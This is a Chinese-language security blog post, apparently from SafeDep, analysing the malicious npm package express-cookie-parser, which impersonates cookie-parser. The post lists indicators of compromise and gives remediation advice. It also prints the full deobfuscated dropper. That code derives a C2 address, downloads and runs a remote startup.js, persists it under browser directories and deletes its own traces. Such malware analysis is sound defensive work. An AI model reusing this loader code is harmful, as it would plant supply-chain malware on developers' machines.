恶意 npm 包冒充流行 Express Cookie Parser

目录

今天我们发现了一个恶意 npm 包 express-cookie-parser,它伪装成流行的 Express cookie-parser 包。express-cookie-parserREADME.md 文件是从 cookie-parser 包复制的。恶意负载位于分析版本 1.4.12cookie-loader.min.js 中。这是一个独特的恶意 npm 样本,它不依赖于 pre 或 post install 钩子。相反,负载在受影响的应用程序使用恶意库中的文档化 API 时执行。

负载执行以下操作:

  • 作为 stage-1stage-2 负载的dropper负载
  • 获取种子文件 https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
  • 基于硬编码的 496AAC7E 和种子文件的 SHA256 哈希生成 C2 服务器域名
  • C2 URL 格式为 http://${domain}/public/startup.js?ver=1.2&type=module
  • 从 C2 服务器下载 startup.js 并使用系统上找到的 node 可执行文件执行它
  • 执行后删除 cookie-loader.min.js 并重写 index.js 以移除 require('./cookie-loader.min')

在撰写本文时,URL https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example 包含以下负载:

text
JWT_SECRET= EXPIRATION=9999h PORT=5555 DB_USER=admin DB_PASS=123456

根据我们的分析,上述内容的 SHA256 哈希值被用于使用域名生成算法生成 C2 服务器域名。

调查

我们决定仔细分析 [email protected] 以识别恶意行为。package.json 是恶意 npm 包最常见的攻击向量,正如我们在分析 5000+ 恶意包中所见。然而,对于这个样本,package.json 看起来与原始的 cookie-parser 包相似。然而,index.js 在提供 API 兼容性伪装的同时加载了恶意负载。

让我们查看 index.js 文件:

js
// Loads dependency packages var cookie = require('cookie'); var signature = require('cookie-signature'); // Loads the malicious payload require('./cookie-loader.min'); // [...] function cookieParser(secret, options) { // Defines the cookieParser function for API compatibility // [...] }

接下来我们查看了 cookie-loader.min.js 文件,这是实际的恶意负载。然而,它被压缩和混淆以使人或静态分析工具更难读取和分析。

cookie-loader.min.js 文件是一个 dropper,用于获取使用域名生成算法和固定值 496AAC7E 生成的远程 C2 服务器上的 startup.js 文件。

根据我们的分析,cookie-loader.min.js 执行以下操作:

  • 识别 Windows、Linux 和 macOS 平台上系统中 node 可执行文件的路径
  • 基于操作系统计算 Google Chrome 用户数据目录路径以实现持久化(丢弃 startup.js
  • 使用固定值 496AAC7E 和种子文件的 SHA256 哈希通过域名生成算法计算 C2 域名
  • 从 C2 服务器下载 startup.js 并使用系统上找到的 node 可执行文件执行它
  • 执行后删除 cookie-loader.min.js 并重写 index.js 以移除 require('./cookie-loader.min')

它还包含在执行后删除 cookie-loader.min.js 并从 index.js 中移除引用的代码。以下代码执行此操作:

js
function f() { l.unlinkSync(__filename); var e, t = r.join(__dirname, 'index.js'); l.existsSync(t) && ((e = l.readFileSync(t).toString()), l.writeFileSync(t, e.replace("require('./cookie-loader.min')", ''))); }

域名生成算法 (DGA)

C2 服务器域名使用嵌入的 DGA 生成,基于以下两个参数

  • 硬编码的 4 字节 XOR 密钥 496AAC7E
  • 种子文件的 SHA256 哈希
  • 生成第二阶段负载 URL 为 http://${generated-domain}/public/startup.js?ver=1.2&type=module

根据我们的分析,DGA 执行以下操作:

  • 将种子文件 SHA256 哈希的每个字节与硬编码密钥 496AAC7E 进行 XOR 运算。
  • 将 32 字节(XOR 后的哈希)结果转换为点分 IP 地址格式

基于种子文件 https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example 的 SHA256 哈希和密钥 496AAC7E,我们推导出了 206.214.129.67 作为 C2 服务器域名。

有关更多详细信息,请参阅 cookie-loader.min.js 文件的反混淆版本

如果您受到影响该怎么办?

  • 使用 npm remove express-cookie-parser 移除该包

对于关键系统,我们建议应将系统视为已受感染,并应启动适当的事件响应流程。

SafeDep 如何提供帮助?

我们的免费开源工具 vet 与 SafeDep 云包扫描服务集成,可用于在安装前检测恶意包。vet-action 是一个 GitHub Action,可用于在您的 GitHub Actions 工作流中建立主动防护措施,抵御恶意开源包。

妥协指标 (IOC)

  • 种子文件 URL https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
  • C2 服务器域名生成算法密钥 496AAC7E
  • C2 服务器 IP 206.214.129.67,使用种子文件的 SHA256 哈希和密钥 496AAC7E 通过 DGA 生成

反混淆的 cookie-loader.min.js

以下是 cookie-loader.min.js 文件的反混淆版本:

js
// Import required Node.js modules const { spawn, exec } = require('child_process'); const path = require('path'); const https = require('https'); const http = require('http'); const fs = require('fs'); const os = require('os'); const crypto = require('crypto'); // Create a SHA-256 hash object for later use const sha256Hash = crypto.createHash('sha256'); // Base64 encoded URL for the initial payload // Decodes to: https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example const encodedUrl = 'aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU='; const decodedUrl = atob(encodedUrl); /** * Gets the path to the node executable on the system based on platform * This ensures the malware can run node processes on any OS */ function getNodePath() { // For Linux and macOS if (os.platform() === 'linux' || os.platform() === 'darwin') { return new Promise((resolve, reject) => { exec('which node', { windowsHide: true }, (error, stdout, stderr) => { if (error || stderr) { reject('Node.js not found'); } else { resolve(stdout.trim()); } }); }); } // For Windows else if (os.platform() === 'win32') { return new Promise((resolve, reject) => { exec('where node', { windowsHide: true }, (error, stdout, stderr) => { if (error || stderr) { callback(null); } else { const nodePath = stdout.split('\n')[0].trim(); resolve(nodePath); } }); }); } } /** * Creates a path for the malicious script * Targets Chrome browser directories for persistence and to avoid detection */ let getScriptPath = () => { let browserDataDir = null; const homeDir = os.homedir(); // First attempt: Target Chrome user data directories based on OS if (os.platform() === 'win32') { browserDataDir = path.join(homeDir, 'AppData', 'Local', 'Google', 'Chrome', 'User Data'); } else if (os.platform() === 'linux') { browserDataDir = path.join(homeDir, '.config', 'google-chrome'); } else if (os.platform() === 'darwin') { browserDataDir = path.join(homeDir, 'Library', 'Application Support', 'Google', 'Chrome'); } // Fallback: Use more generic locations if Chrome dirs don't exist if (!fs.existsSync(browserDataDir)) { if (os.platform() === 'win32') { browserDataDir = path.join(homeDir, 'AppData', 'Local'); } else if (os.platform() === 'linux') { browserDataDir = path.join(homeDir, '.config'); } else if (os.platform() === 'darwin') { browserDataDir = path.join(homeDir, 'Library', 'Application Support'); } } // Create directory if it doesn't exist if (!fs.existsSync(browserDataDir)) { fs.mkdirSync(browserDataDir, { recursive: true }); } // Create a Scripts directory in the browser data folder const scriptsDir = path.join(browserDataDir, 'Scripts'); // Create Scripts directory if it doesn't exist if (!fs.existsSync(scriptsDir)) { fs.mkdirSync(scriptsDir, { recursive: true }); } // Return path for the malware script const malwarePath = path.join(scriptsDir, 'startup.js'); return malwarePath; }; /** * Executes a node script in a detached process * This allows the malware to run independently from the parent process */ function runScript(scriptPath) { spawn('node', [scriptPath], { detached: true, // Makes process independent from parent stdio: 'ignore', // Prevents any output being shown windowsHide: true, // Prevents window from being shown on Windows }).unref(); // Allows parent to exit independently } /** * Covers tracks by removing the malicious loader and editing the index.js file * This helps avoid detection after the malware has been installed */ function coverTracks() { // Delete this malicious file fs.unlinkSync(__filename); // Remove the require statement from index.js to hide evidence const indexPath = path.join(__dirname, 'index.js'); if (fs.existsSync(indexPath)) { const indexContent = fs.readFileSync(indexPath).toString(); // Remove the require statement for this malicious module fs.writeFileSync(indexPath, indexContent.replace("require('./cookie-loader.min')", '')); } } /** * Updates the downloaded script with the absolute path to node * This ensures the script can be executed as a standalone file */ async function fixNodePath(scriptPath) { // Only needed for non-Windows platforms if (os.platform() !== 'win32') { const scriptContent = fs.readFileSync(scriptPath).toString(); const nodePath = await getNodePath(); // Replace "node" with the absolute path const updatedContent = scriptContent.replace('"node"', '"' + nodePath + '"'); fs.writeFileSync(scriptPath, updatedContent); } } /** * Downloads a file from a URL to a specified location */ function downloadFile(url, targetPath) { // Choose http or https based on URL let httpModule = url.startsWith('https') ? https : http; return new Promise((resolve, reject) => { httpModule.get(url, (response) => { if (response.statusCode !== 200) { reject(''); return; } const fileStream = fs.createWriteStream(targetPath); response.pipe(fileStream); fileStream.on('finish', () => { resolve(''); }); }); }); } /** * Domain generation algorithm using XOR operations * Creates C2 (command and control) server address from file hash and fixed value */ function generateDomain(hash, fixedValue) { // XOR each byte of the hash with the fixed value let result = ''; for (let i = 0; i < fixedValue.length; i++) { const xorResult = parseInt(hash[i], 16) ^ parseInt(fixedValue[i], 16); result += xorResult.toString(16); } // Convert the hex result to a dotted IP address format let ipAddress = ''; for (let i = 0; i < result.length; i += 2) { if (ipAddress) { ipAddress += '.'; } ipAddress += parseInt(result.slice(i, i + 2), 16).toString(); } return ipAddress; } /** * Creates the URL for downloading the actual malware payload */ function createMalwareUrl(domain) { return \`http://${domain}/public/startup.js?ver=1.2&type=module\`; } /** * Main execution function that orchestrates the attack */ function executeAttack() { // Get the target path for the malware let targetPath = getScriptPath(); // Download the initial script, generate domain, download malware, and execute it downloadFile(decodedUrl, targetPath) .then(() => { // Calculate hash of the downloaded file const fileContent = fs.readFileSync(targetPath); sha256Hash.update(fileContent); const fileHash = sha256Hash.digest('hex'); // Generate C2 domain using the hash and a fixed value return createMalwareUrl(generateDomain(fileHash, '496AAC7E')); }) .then((malwareUrl) => downloadFile(malwareUrl, targetPath)) .then(() => fixNodePath(targetPath)) .then(() => { // Make the script executable and run it fs.chmodSync(targetPath, '755'); runScript(targetPath); }) .finally(() => { // Clean up after 1.5 seconds to allow time for script to execute setTimeout(() => { coverTracks(); }, 1500); }); } // Execute the malicious code immediately when this file is required executeAttack();
  • vet
  • cloud
  • malware

SafeDep 博客的最新内容

关注以获取开源安全与工程的最新更新和见解